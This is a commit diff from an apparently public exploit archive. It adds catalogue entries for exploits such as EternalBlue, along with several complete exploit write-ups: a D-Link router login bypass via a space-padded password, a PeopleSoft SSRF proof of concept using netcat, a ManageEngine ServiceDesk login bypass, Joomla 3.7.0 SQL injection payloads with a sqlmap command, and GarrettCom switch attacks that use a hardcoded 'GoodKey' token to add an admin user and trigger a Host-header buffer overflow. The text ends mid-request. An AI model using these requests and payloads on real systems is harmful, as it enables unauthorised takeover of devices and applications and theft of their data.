DB: 2017-05-20
9 new exploits Microsoft Windows - Unauthenticated SMB Remote Code Execution (MS17-010) (Metasploit) Microsoft Windows - Unauthenticated SMB Remote Code Execution Scanner (MS17-010) (Metasploit) Linux chfn (SuSE 9.3 / 10) - Privilege Escalation Linux chfn (SuSE 9.3/10) - Privilege Escalation Microsoft Windows XP SP3 x86 / 2003 SP2 (x86) - 'NDProxy' Privilege Escalation (MS14-002) Microsoft Windows XP SP3 (x86) / 2003 SP2 (x86) - 'NDProxy' Privilege Escalation (MS14-002) Microsoft Windows Server 2008 R2 SP1 (x64) (Standard) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010) Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010) Microsoft Windows Windows 8/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010) Microsoft Windows Windows 7/2008 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010) Joomla 3.7.0 - 'com_fields' SQL Injection Oracle PeopleSoft - Server-Side Request Forgery Belden Garrettcom 6K/10K Switches - Authentication Bypass / Memory Corruption SAP Business One for Android 1.2.3 - XML External Entity Injection ManageEngine ServiceDesk Plus 9.0 - Authentication Bypass PlaySMS 1.4 - Remote Code Execution D-Link DIR-600M Wireless N 150 - Authentication Bypass
This commit is contained in:
parent
684c4e4362
commit
3f846368c1
10 changed files with 1938 additions and 4 deletions
17
files.csv
17
files.csv
|
@ -5470,7 +5470,7 @@ id,file,description,date,author,platform,type,port
|
|||
41869,platforms/multiple/dos/41869.html,"Apple WebKit - 'JSC::SymbolTableEntry::isWatchable' Heap Buffer Overflow",2017-04-11,"Google Security Research",multiple,dos,0
|
||||
41879,platforms/windows/dos/41879.txt,"Microsoft Windows Kernel - 'win32k.sys' Multiple Issues 'NtGdiGetDIBitsInternal' System Call",2017-04-13,"Google Security Research",windows,dos,0
|
||||
41880,platforms/windows/dos/41880.cpp,"Microsoft Windows Kernel - 'win32kfull!SfnINLPUAHDRAWMENUITEM' Stack Memory Disclosure",2017-04-13,"Google Security Research",windows,dos,0
|
||||
41891,platforms/windows/dos/41891.rb,"Microsoft Windows - Unauthenticated SMB Remote Code Execution (MS17-010) (Metasploit)",2017-04-17,"Sean Dillon",windows,dos,445
|
||||
41891,platforms/windows/dos/41891.rb,"Microsoft Windows - Unauthenticated SMB Remote Code Execution Scanner (MS17-010) (Metasploit)",2017-04-17,"Sean Dillon",windows,dos,445
|
||||
41893,platforms/linux/dos/41893.txt,"pinfo 0.6.9 - Local Buffer Overflow",2017-04-18,"Nassim Asrir",linux,dos,0
|
||||
41898,platforms/linux/dos/41898.txt,"Dmitry 1.3a - Local Buffer Overflow",2017-04-19,FarazPajohan,linux,dos,0
|
||||
41905,platforms/multiple/dos/41905.txt,"Oracle VM VirtualBox - Environment and ioctl Unprivileged Host User to Host Kernel Privilege Escalation",2017-04-20,"Google Security Research",multiple,dos,0
|
||||
|
@ -5767,7 +5767,7 @@ id,file,description,date,author,platform,type,port
|
|||
1248,platforms/solaris/local/1248.pl,"Solaris 10 (x86) - DtPrintinfo/Session Privilege Escalation",2005-10-12,"Charles Stevenson",solaris,local,0
|
||||
1267,platforms/linux/local/1267.c,"XMail 1.21 - '-t' Command Line Option Buffer Overflow Privilege Escalation",2005-10-20,qaaz,linux,local,0
|
||||
1297,platforms/linux/local/1297.py,"F-Secure Internet GateKeeper for Linux < 2.15.484 (and Gateway < 2.16) - Privilege Escalation",2005-11-07,"Xavier de Leon",linux,local,0
|
||||
1299,platforms/linux/local/1299.sh,"Linux chfn (SuSE 9.3 / 10) - Privilege Escalation",2005-11-08,Hunger,linux,local,0
|
||||
1299,platforms/linux/local/1299.sh,"Linux chfn (SuSE 9.3/10) - Privilege Escalation",2005-11-08,Hunger,linux,local,0
|
||||
1300,platforms/linux/local/1300.sh,"Operator Shell (osh) 1.7-14 - Privilege Escalation",2005-11-09,"Charles Stevenson",linux,local,0
|
||||
1310,platforms/linux/local/1310.txt,"Sudo 1.6.8p9 - (SHELLOPTS/PS4 ENV variables) Privilege Escalation",2005-11-09,"Breno Silva Pinto",linux,local,0
|
||||
1311,platforms/bsd/local/1311.c,"FreeBSD 4.x / < 5.4 - master.passwd Disclosure",2005-11-09,kingcope,bsd,local,0
|
||||
|
@ -8579,7 +8579,7 @@ id,file,description,date,author,platform,type,port
|
|||
37722,platforms/lin_x86-64/local/37722.c,"Linux espfix64 - (Nested NMIs Interrupting) Privilege Escalation",2015-08-05,"Andrew Lutomirski",lin_x86-64,local,0
|
||||
37724,platforms/lin_x86/local/37724.asm,"Linux (x86) - Memory Sinkhole Privilege Escalation (PoC)",2015-08-07,"Christopher Domas",lin_x86,local,0
|
||||
37730,platforms/windows/local/37730.py,"Tomabo MP4 Player 3.11.3 - '.m3u' Buffer Overflow (SEH)",2015-08-07,"Saeid Atabaki",windows,local,0
|
||||
37732,platforms/win_x86/local/37732.c,"Microsoft Windows XP SP3 x86 / 2003 SP2 (x86) - 'NDProxy' Privilege Escalation (MS14-002)",2015-08-07,"Tomislav Paskalev",win_x86,local,0
|
||||
37732,platforms/win_x86/local/37732.c,"Microsoft Windows XP SP3 (x86) / 2003 SP2 (x86) - 'NDProxy' Privilege Escalation (MS14-002)",2015-08-07,"Tomislav Paskalev",win_x86,local,0
|
||||
38106,platforms/aix/local/38106.txt,"IBM AIX High Availability Cluster Multiprocessing (HACMP) - Privilege Escalation",2015-09-08,"Kristian Erik Hermansen",aix,local,0
|
||||
38107,platforms/windows/local/38107.c,"Cisco Sourcefire User Agent 2.2 - Insecure File Permissions",2015-09-08,"Glafkos Charalambous",windows,local,0
|
||||
37755,platforms/windows/local/37755.c,"Microsoft Windows Server 2003 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)",2015-08-12,"Tomislav Paskalev",windows,local,0
|
||||
|
@ -15484,7 +15484,7 @@ id,file,description,date,author,platform,type,port
|
|||
41694,platforms/multiple/remote/41694.rb,"SSH - User Code Execution (Metasploit)",1999-01-01,Metasploit,multiple,remote,0
|
||||
41695,platforms/linux/remote/41695.rb,"Redmine SCM Repository - Arbitrary Command Execution (Metasploit)",2010-12-19,Metasploit,linux,remote,0
|
||||
41795,platforms/linux/remote/41795.rb,"SolarWinds LEM 6.3.1 - Remote Code Execution (Metasploit)",2017-03-17,"Mehmet Ince",linux,remote,0
|
||||
41987,platforms/windows/remote/41987.py,"Microsoft Windows Server 2008 R2 SP1 (x64) (Standard) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010)",2017-05-10,"Juan Sacco",windows,remote,0
|
||||
41987,platforms/windows/remote/41987.py,"Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010)",2017-05-10,"Juan Sacco",windows,remote,0
|
||||
41718,platforms/hardware/remote/41718.txt,"Miele Professional PG 8528 - Directory Traversal",2017-03-24,"Jens Regel",hardware,remote,0
|
||||
41719,platforms/hardware/remote/41719.rb,"NETGEAR WNR2000v5 - (Un)authenticated hidden_lang_avi Stack Overflow (Metasploit)",2017-03-24,Metasploit,hardware,remote,80
|
||||
41720,platforms/python/remote/41720.rb,"Logsign 4.4.2 / 4.4.137 - Remote Command Injection (Metasploit)",2017-03-24,"Mehmet Ince",python,remote,0
|
||||
|
@ -15517,11 +15517,13 @@ id,file,description,date,author,platform,type,port
|
|||
41996,platforms/php/remote/41996.sh,"Vanilla Forums < 2.3 - Remote Code Execution",2017-05-11,"Dawid Golunski",php,remote,0
|
||||
42010,platforms/linux/remote/42010.rb,"Quest Privilege Manager - pmmasterd Buffer Overflow (Metasploit)",2017-05-15,Metasploit,linux,remote,0
|
||||
42011,platforms/windows/remote/42011.py,"LabF nfsAxe 3.7 FTP Client - Buffer Overflow (SEH)",2017-05-15,Tulpa,windows,remote,0
|
||||
42030,platforms/win_x86-64/remote/42030.py,"Microsoft Windows Windows 8/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)",2017-05-17,sleepya,win_x86-64,remote,445
|
||||
42022,platforms/windows/remote/42022.rb,"Dup Scout Enterprise 9.5.14 - GET Buffer Overflow (Metasploit)",2017-05-17,Metasploit,windows,remote,0
|
||||
42023,platforms/windows/remote/42023.rb,"Serviio Media Server - checkStreamUrl Command Execution (Metasploit)",2017-05-17,Metasploit,windows,remote,23423
|
||||
42024,platforms/php/remote/42024.rb,"WordPress PHPMailer 4.6 - Host Header Command Injection (Metasploit)",2017-05-17,Metasploit,php,remote,0
|
||||
42025,platforms/php/remote/42025.rb,"BuilderEngine 3.5.0 - Arbitrary File Upload and Execution (Metasploit)",2017-05-17,Metasploit,php,remote,80
|
||||
42026,platforms/xml/remote/42026.py,"Oracle PeopleSoft - XML External Entity to SYSTEM Remote Code Execution",2017-05-17,"Ambionics Security",xml,remote,0
|
||||
42031,platforms/win_x86-64/remote/42031.py,"Microsoft Windows Windows 7/2008 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)",2017-05-17,sleepya,win_x86-64,remote,445
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
@ -37870,3 +37872,10 @@ id,file,description,date,author,platform,type,port
|
|||
42013,platforms/hardware/webapps/42013.txt,"Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 SP2 - Multiple Vulnerabilities",2017-01-12,SlidingWindow,hardware,webapps,0
|
||||
42028,platforms/xml/webapps/42028.txt,"INFOR EAM 11.0 Build 201410 - 'filtervalue' SQL Injection",2017-05-17,Yoroi,xml,webapps,0
|
||||
42029,platforms/xml/webapps/42029.txt,"INFOR EAM 11.0 Build 201410 - Persistent Cross-Site Scripting via Comment Fields",2017-05-17,Yoroi,xml,webapps,0
|
||||
42033,platforms/php/webapps/42033.txt,"Joomla 3.7.0 - 'com_fields' SQL Injection",2017-05-19,"Mateus Lino",php,webapps,80
|
||||
42034,platforms/java/webapps/42034.txt,"Oracle PeopleSoft - Server-Side Request Forgery",2017-05-19,ERPScan,java,webapps,0
|
||||
42035,platforms/php/webapps/42035.txt,"Belden Garrettcom 6K/10K Switches - Authentication Bypass / Memory Corruption",2017-05-19,"David Tomaschik",php,webapps,0
|
||||
42036,platforms/xml/webapps/42036.txt,"SAP Business One for Android 1.2.3 - XML External Entity Injection",2017-05-19,"Ravindra Singh Rathore",xml,webapps,0
|
||||
42037,platforms/java/webapps/42037.txt,"ManageEngine ServiceDesk Plus 9.0 - Authentication Bypass",2017-05-19,ByteM3,java,webapps,0
|
||||
42038,platforms/php/webapps/42038.txt,"PlaySMS 1.4 - Remote Code Execution",2017-05-19,"Touhid M.Shaikh",php,webapps,80
|
||||
42039,platforms/hardware/webapps/42039.txt,"D-Link DIR-600M Wireless N 150 - Authentication Bypass",2017-05-19,"Touhid M.Shaikh",hardware,webapps,0
|
||||
|
|
Can't render this file because it is too large.
|
70
platforms/hardware/webapps/42039.txt
Executable file
70
platforms/hardware/webapps/42039.txt
Executable file
|
@ -0,0 +1,70 @@
|
|||
# Exploit Title: D-Link DIR-600M Wireless N 150 Login Page Bypass
|
||||
# Date: 19-05-2017
|
||||
# Software Link: http://www.dlink.co.in/products/?pid=DIR-600M
|
||||
# Exploit Author: Touhid M.Shaikh
|
||||
# Vendor : www.dlink.com
|
||||
# Contact : http://twitter.com/touhidshaikh22
|
||||
# Version: Hardware version: C1
|
||||
Firmware version: 3.04
|
||||
# Tested on:All Platforms
|
||||
|
||||
|
||||
1) Description
|
||||
|
||||
After Successfully Connected to D-Link DIR-600M Wireless N 150
|
||||
Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's
|
||||
Admin Panel Just by Feeding Blank Spaces in the password Field.
|
||||
|
||||
Its More Dangerous when your Router has a public IP with remote login
|
||||
enabled.
|
||||
|
||||
For More Details : www.touhidshaikh.com/blog/
|
||||
|
||||
IN MY CASE,
|
||||
Router IP : http://192.168.100.1
|
||||
|
||||
|
||||
|
||||
Video POC : https://www.youtube.com/watch?v=waIJKWCpyNQring
|
||||
|
||||
2) Proof of Concept
|
||||
|
||||
Step 1: Go to
|
||||
Router Login Page : http://192.168.100.1/login.htm
|
||||
|
||||
Step 2:
|
||||
Fill username: admin
|
||||
And in Password Fill more than 20 tims Spaces(" ")
|
||||
|
||||
|
||||
|
||||
Our Request Is look like below.
|
||||
-----------------ATTACKER REQUEST-----------------------------------
|
||||
|
||||
POST /login.cgi HTTP/1.1
|
||||
Host: 192.168.100.1
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
|
||||
Firefox/45.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://192.168.100.1/login.htm
|
||||
Cookie: SessionID=
|
||||
Connection: close
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 84
|
||||
|
||||
username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send
|
||||
|
||||
|
||||
--------------------END here------------------------
|
||||
|
||||
Bingooo You got admin Access on router.
|
||||
Now you can download/upload settiing, Change setting etc.
|
||||
|
||||
|
||||
|
||||
|
||||
-------------------Greetz----------------
|
||||
TheTouron(www.thetouron.in), Ronit Yadav
|
||||
-----------------------------------------
|
151
platforms/java/webapps/42034.txt
Executable file
151
platforms/java/webapps/42034.txt
Executable file
|
@ -0,0 +1,151 @@
|
|||
Application: Oracle PeopleSoft
|
||||
Versions Affected: ToolsRelease: 8.55.03; ToolsReleaseDB: 8.55;
|
||||
PeopleSoft HCM 9.2
|
||||
Vendor URL: http://oracle.com
|
||||
Bugs: SSRF
|
||||
Reported: 23.12.2016
|
||||
Vendor response: 24.12.2016
|
||||
Date of Public Advisory: 18.04.2017
|
||||
Reference: Oracle CPU April 2017
|
||||
Author: Roman Shalymov (ERPScan)
|
||||
|
||||
Description
|
||||
|
||||
1. ADVISORY INFORMATION
|
||||
|
||||
Title:[ERPSCAN-17-022] SSRF in PeopleSoft IMServlet
|
||||
Advisory ID: [ERPSCAN-17-022]
|
||||
Risk: high
|
||||
CVE: CVE-2017-3546
|
||||
Advisory URL: https://erpscan.com/advisories/erpscan-17-022-ssrf-peoplesoft-imservlet/
|
||||
Date published: 18.04.2017
|
||||
Vendors contacted: Oracle
|
||||
|
||||
|
||||
2. VULNERABILITY INFORMATION
|
||||
|
||||
Class: SSRF
|
||||
Impact: cross-site port attack, service enumeration
|
||||
Remotely Exploitable: yes
|
||||
Locally Exploitable: yes
|
||||
|
||||
CVSS Information
|
||||
|
||||
CVSS Base Score v3: 8.0 / 10
|
||||
CVSS Base Vector:
|
||||
AV : Attack Vector (Related exploit range) Network (N)
|
||||
AC : Attack Complexity (Required attack complexity) High (H)
|
||||
PR : Privileges Required (Level of privileges needed to exploit) High (H)
|
||||
UI : User Interaction (Required user participation) None (N)
|
||||
S : Scope (Change in scope due to impact caused to components beyond
|
||||
the vulnerable component) Changed (C)
|
||||
C : Impact to Confidentiality High (H)
|
||||
I : Impact to Integrity High (H)
|
||||
A : Impact to Availability High (H)
|
||||
|
||||
|
||||
3. VULNERABILITY DESCRIPTION
|
||||
|
||||
An attacker can force a vulnerable server to trigger malicious
|
||||
requests to third-party servers or to internal resources. This
|
||||
vulnerability can then be leveraged to launch specific attacks such as
|
||||
a cross-site port attack, service enumeration, and various other
|
||||
attacks.
|
||||
|
||||
4. VULNERABLE PACKAGES
|
||||
|
||||
ToolsRelease: 8.55.03
|
||||
ToolsReleaseDB: 8.55
|
||||
PeopleSoft HCM 9.2
|
||||
|
||||
5. SOLUTIONS AND WORKAROUNDS
|
||||
|
||||
To correct this vulnerability, implement Oracle CPU April 2017
|
||||
|
||||
6. AUTHOR
|
||||
|
||||
Roman Shalymov
|
||||
|
||||
7. TECHNICAL DESCRIPTION
|
||||
|
||||
PoC
|
||||
|
||||
Run netcat
|
||||
|
||||
1. nc -l -p # on some host
|
||||
|
||||
In browser open the following links
|
||||
|
||||
http://PPLSOFTSRV:8000/IMServlet?Method=CONNECT
|
||||
|
||||
http://PPLSOFTSRV::8000/IMServlet?Method=GOOGLE_PRESENCE&im_to_user=abc&im_server_name=GOOGLE&im_server=SOMEHOST:OPEN_PORT/?param=var%23"
|
||||
|
||||
|
||||
Read response in netcat
|
||||
|
||||
GET /?param=var HTTP/1.1
|
||||
|
||||
User-Agent: Java1.7.0_95
|
||||
|
||||
Host: SOMEHOST:OPEN_PORT
|
||||
|
||||
Accept: text/html, image/gif, image/jpeg, /; q=.2
|
||||
|
||||
Connection: Keep-Alive
|
||||
|
||||
|
||||
8. ABOUT ERPScan Research
|
||||
|
||||
ERPScan research team specializes in vulnerability research and
|
||||
analysis of critical enterprise applications. It was acknowledged
|
||||
multiple times by the largest software vendors like SAP, Oracle,
|
||||
Microsoft, IBM, VMware, HP for discovering more than 400
|
||||
vulnerabilities in their solutions (200 of them just in SAP!).
|
||||
|
||||
ERPScan researchers are proud of discovering new types of
|
||||
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
|
||||
Best Server-Side Bug" nomination at BlackHat 2013.
|
||||
|
||||
ERPScan experts participated as speakers, presenters, and trainers at
|
||||
60+ prime international security conferences in 25+ countries across
|
||||
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
|
||||
trainings for several Fortune 2000 companies.
|
||||
|
||||
ERPScan researchers carry out the EAS-SEC project that is focused on
|
||||
enterprise application security awareness by issuing annual SAP
|
||||
security researches.
|
||||
|
||||
ERPScan experts were interviewed in specialized info-sec resources and
|
||||
featured in major media worldwide. Among them there are Reuters,
|
||||
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
|
||||
Chinabyte, etc.
|
||||
|
||||
Our team consists of highly-qualified researchers, specialized in
|
||||
various fields of cybersecurity (from web application to ICS/SCADA
|
||||
systems), gathering their experience to conduct the best SAP security
|
||||
research.
|
||||
|
||||
9. ABOUT ERPScan
|
||||
|
||||
ERPScan is the most respected and credible Business Application
|
||||
Cybersecurity provider. Founded in 2010, the company operates globally
|
||||
and enables large Oil and Gas, Financial, Retail and other
|
||||
organizations to secure their mission-critical processes. Named as an
|
||||
‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP
|
||||
Solution providers” and distinguished by 30+ other awards, ERPScan is
|
||||
the leading SAP SE partner in discovering and resolving security
|
||||
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
|
||||
assist in improving the security of their latest solutions.
|
||||
|
||||
ERPScan’s primary mission is to close the gap between technical and
|
||||
business security, and provide solutions for CISO's to evaluate and
|
||||
secure SAP and Oracle ERP systems and business-critical applications
|
||||
from both cyberattacks and internal fraud. As a rule, our clients are
|
||||
large enterprises, Fortune 2000 companies and MSPs, whose requirements
|
||||
are to actively monitor and manage security of vast SAP and Oracle
|
||||
landscapes on a global scale.
|
||||
|
||||
We ‘follow the sun’ and have two hubs, located in Palo Alto and
|
||||
Amsterdam, to provide threat intelligence services, continuous support
|
||||
and to operate local offices and partner network spanning 20+
|
||||
countries around the globe.
|
115
platforms/java/webapps/42037.txt
Executable file
115
platforms/java/webapps/42037.txt
Executable file
|
@ -0,0 +1,115 @@
|
|||
Title: ManageEngine ServiceDesk Plus Application Compromise
|
||||
Date: 19 May 2017
|
||||
Researcher: Steven Lackey (ByteM3)
|
||||
Product: ServiceDesk Plus (http://www.manageengine.com/)
|
||||
Affected Version: 9.0 (Other versions could also be affected)
|
||||
Fixed Version: Service Pack 9241 – Build 9.2
|
||||
Vulnerability Impact: High
|
||||
Published Date:
|
||||
Email: bytem3 [at] bytem3.com <http://cyberdefensetechnologies.com/>
|
||||
|
||||
Product Introduction
|
||||
===============
|
||||
|
||||
ServiceDesk Plus is ITIL-ready help desk software with integrated Assetand
|
||||
Project Management capabilities.
|
||||
|
||||
With advanced ITSM functionality and easy-to-use capability, ServiceDesk
|
||||
Plus helps IT support teams deliver
|
||||
|
||||
world-class service to end users with reduced costs and complexity. It
|
||||
comes in three editions and is available
|
||||
|
||||
in 29 different languages. Over 100,000 organizations, across 185
|
||||
countries, trust ServiceDesk Plus to optimize
|
||||
|
||||
IT service desk performance and achieve high end user satisfaction.
|
||||
|
||||
Source: https://www.manageengine.com/products/service-desk/
|
||||
|
||||
Vulnerability Information
|
||||
==================
|
||||
|
||||
Class: Backdoor
|
||||
Impact: Account and Application Compromise
|
||||
Remotely Exploitable: Yes
|
||||
Authentication Required: Yes
|
||||
User interaction required: Yes
|
||||
CVE Name: N/A
|
||||
|
||||
|
||||
Vulnerability Description
|
||||
===================
|
||||
|
||||
A valid username can be used as both username/password to login and
|
||||
compromise the application through the “/mc/” directory which is the
|
||||
‘mobile client’ directory. This can be achieved ONLY if Active
|
||||
Directory/LDAP is being used.
|
||||
|
||||
This flaw exists because of the lack of password randomization in the
|
||||
application version 9.0 when a user is entered into the application, thus
|
||||
the application assigns the password as the username. The flaw can then be
|
||||
exploited by logging into the application through the “/mc” directory and
|
||||
then backing out of the “/mc” directory by deleting it from the URL thus
|
||||
positioning you in the main application with the authority of the user you
|
||||
logged in as. (Help locating a valid username can come from another
|
||||
discovered vulnerability in this same version of software here:
|
||||
https://www.exploit-db.com/exploits/35891/ - with credit to Muhammad Ahmed
|
||||
Siddiqui for discovering how to enumerate usernames)
|
||||
|
||||
|
||||
Proof-of-Concept Authenticated User
|
||||
============================
|
||||
|
||||
An attacker can use the following URL to login to the mobile client with
|
||||
any workstation:
|
||||
|
||||
http://server/mc/
|
||||
|
||||
Use the discovered username in both the username and password fields.
|
||||
Ensure the “Is AD Auth” box is checked and click login.
|
||||
|
||||
|
||||
Once logged in, remove “/mc/” from the URL and you will be presented with
|
||||
the full application and the authorities of the user you just logged in
|
||||
with.
|
||||
|
||||
|
||||
You can now continue to look for usernames inside the application until a
|
||||
user with administrative privileges has been discovered and can compromise
|
||||
with administrative authority. Please note, ServiceDesk Plus has the
|
||||
ability to ‘scan’ machines on any available network it can see, meaning,
|
||||
system accounts are typically entered into the application to keep an
|
||||
inventory of machines that ServiceDesk can manage. It is possible to
|
||||
compromise not only the hosting machine for this application, however, the
|
||||
entire network as I did on the Penetration Test where I discovered this
|
||||
‘backdoor’.
|
||||
|
||||
|
||||
Vendor Response
|
||||
=======
|
||||
|
||||
I have contacted the vendor and they advised they have fixed this
|
||||
particular issue with a new service pack ‘9241’, however, this insanely
|
||||
vulnerability is still out there, as this scenario has not been published
|
||||
as of yet, other than the vendors statement on their 9.2 Release readme
|
||||
webpage (https://www.manageengine.com/products/service-desk/readme-9.2.html)
|
||||
and email to me here:
|
||||
|
||||
|
||||
“FIX: PATCH *SD-61664 :* Based on Database configuration, an option to set
|
||||
the LocalAuthentication password as Random or predefined, for the users
|
||||
added through ActiveDirectory (AD), LDAP, Dynamic user addition, users
|
||||
created via e-mail Requests has been provided. Make sure that the
|
||||
notification under Admin >> Notification Rules >> Send Self-service login
|
||||
details is enabled before performing the import so that LA user details
|
||||
will be notified to users through email.”
|
||||
|
||||
|
||||
Timeline
|
||||
=======
|
||||
|
||||
18-Apr-2017 – Notification to Vendor
|
||||
19-Apr-2017 – Response from Vendor
|
||||
31-Jan-2017 – Vulnerability fixed by Vendor
|
||||
19-May-2017 – Still no clear publication on this backdoor
|
30
platforms/php/webapps/42033.txt
Executable file
30
platforms/php/webapps/42033.txt
Executable file
|
@ -0,0 +1,30 @@
|
|||
# Exploit Title: Joomla 3.7.0 - Sql Injection
|
||||
# Date: 05-19-2017
|
||||
# Exploit Author: Mateus Lino
|
||||
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
|
||||
# Vendor Homepage: https://www.joomla.org/
|
||||
# Version: = 3.7.0
|
||||
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
|
||||
# CVE : - CVE-2017-8917
|
||||
|
||||
|
||||
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
|
||||
|
||||
|
||||
Using Sqlmap:
|
||||
|
||||
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
|
||||
|
||||
|
||||
Parameter: list[fullordering] (GET)
|
||||
Type: boolean-based blind
|
||||
Title: Boolean-based blind - Parameter replace (DUAL)
|
||||
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)
|
||||
|
||||
Type: error-based
|
||||
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
|
||||
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
|
||||
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
|
235
platforms/php/webapps/42035.txt
Executable file
235
platforms/php/webapps/42035.txt
Executable file
|
@ -0,0 +1,235 @@
|
|||
Introduction
|
||||
------------
|
||||
|
||||
Vulnerabilities were identified in the Belden GarrettCom 6K and 10KT
|
||||
(Magnum) series network switches. These were discovered during a black box
|
||||
assessment and therefore the vulnerability list should not be considered
|
||||
exhaustive; observations suggest that it is likely that further vulnerabilities
|
||||
exist. It is strongly recommended that GarrettCom undertake a full whitebox
|
||||
security assessment of these switches.
|
||||
|
||||
The version under test was indicated as: 4.6.0. Belden Garrettcom released
|
||||
an advisory on 8 May 2017, indicating that issues were fixed in 4.7.7:
|
||||
http://www.belden.com/docs/upload/Belden-GarrettCom-MNS-6K-10K-Security-Bulletin-BSECV-2017-8.pdf
|
||||
|
||||
GarrettCom-01 - Authentication Bypass: Hardcoded Web Interface Session Token
|
||||
----------------------------------------------------------------------------
|
||||
|
||||
Severity: **High**
|
||||
|
||||
The string "GoodKey" can be used in place of a session token for the web
|
||||
interface, allowing a complete bypass to all web interface authentication.
|
||||
The following request/response demonstrates adding a user ‘gibson’ with the
|
||||
password ‘god’ on any GarrettCom 6K or 10K switch.
|
||||
|
||||
GET /gc/service.php?a=addUser&uid=gibson&pass=god&type=manager&key=GoodKey
|
||||
HTTP/1.1
|
||||
Host: 192.168.0.2
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
|
||||
like Gecko) Chrome/56.0.2924.28 Safari/537.36
|
||||
Accept: */*
|
||||
Referer: https://192.168.0.2/gc/flash.php
|
||||
Accept-Encoding: gzip, deflate, sdch, br
|
||||
Accept-Language: en-US,en;q=0.8
|
||||
|
||||
|
||||
HTTP/1.0 200 OK
|
||||
Server: GoAhead-Webs
|
||||
Content-Type: text/html
|
||||
|
||||
<?xml version='1.0' encoding='UTF-8'?><data val="users"><changed
|
||||
val="yes" />
|
||||
<helpfile val="user_accounts.html" />
|
||||
<user uid="operator" access="Operator" />
|
||||
<user uid="manager" access="Manager" />
|
||||
<user uid="gibson" access="Manager" />
|
||||
</data>
|
||||
|
||||
GarrettCom-02 - Secrets Accessible to All Users
|
||||
-----------------------------------------------
|
||||
|
||||
Severity: **High**
|
||||
|
||||
Unprivileged but authenticated users ("operator" level access) can view the
|
||||
plaintext passwords of all users configured on the system, allowing them to
|
||||
escalate privileges to "manager" level. While the default "show config"
|
||||
masks the passwords, executing "show config saved" includes the plaintext
|
||||
passwords. The value of the "secrets" setting does not affect this.
|
||||
|
||||
6K>show config group=user saved
|
||||
...
|
||||
#User Management#
|
||||
user
|
||||
add user=gibson level=2 pass=god
|
||||
Exit
|
||||
...
|
||||
|
||||
GarrettCom-03 - Stack Based Buffer Overflow in HTTP Server
|
||||
----------------------------------------------------------
|
||||
|
||||
Severity: **High**
|
||||
|
||||
When rendering the /gc/flash.php page, the server performs URI encoding of
|
||||
the Host header into a fixed-length buffer on the stack. This decoding appears
|
||||
unbounded and can lead to memory corruption, possibly including remote code
|
||||
execution. Sending garbage data appears to hang the webserver thread after
|
||||
responding to the present request. Requests with Host headers longer than
|
||||
220 characters trigger the observed behavior.
|
||||
|
||||
GET /gc/flash.php HTTP/1.1
|
||||
Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
Connection: close
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
|
||||
